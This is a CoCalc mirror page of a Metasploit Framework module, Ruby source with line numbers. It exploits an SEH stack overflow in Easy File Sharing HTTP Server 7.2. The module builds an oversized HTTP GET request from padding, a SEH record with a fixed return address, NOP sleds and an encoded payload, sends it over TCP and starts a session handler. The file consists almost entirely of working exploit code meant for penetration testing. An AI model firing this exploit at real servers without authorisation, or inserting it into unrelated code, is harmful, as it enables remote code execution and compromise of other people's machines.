CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/easyfilesharing_seh.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
15
'Description' => %q{
16
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
17
},
18
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'EDB', '39008' ],
23
],
24
'Privileged' => true,
25
'Payload' =>
26
{
27
'Space' => 390,
28
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
29
'StackAdjustment' => -3500,
30
},
31
'Platform' => 'win',
32
'Targets' =>
33
[
34
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
35
],
36
'DefaultOptions' => {
37
'RPORT' => 80
38
},
39
'DisclosureDate' => '2015-12-02',
40
'DefaultTarget' => 0))
41
end
42
43
def print_status(msg='')
44
super("#{peer} - #{msg}")
45
end
46
47
def exploit
48
connect
49
print_status("Sending exploit...")
50
sploit = "GET "
51
sploit << rand_text_alpha_upper(4061)
52
sploit << generate_seh_record(target.ret)
53
sploit << make_nops(19)
54
sploit << payload.encoded
55
sploit << make_nops(7)
56
sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
57
sploit << " HTTP/1.0\r\n\r\n"
58
sock.put(sploit)
59
print_good("Exploit Sent")
60
handler
61
disconnect
62
end
63
end
64
65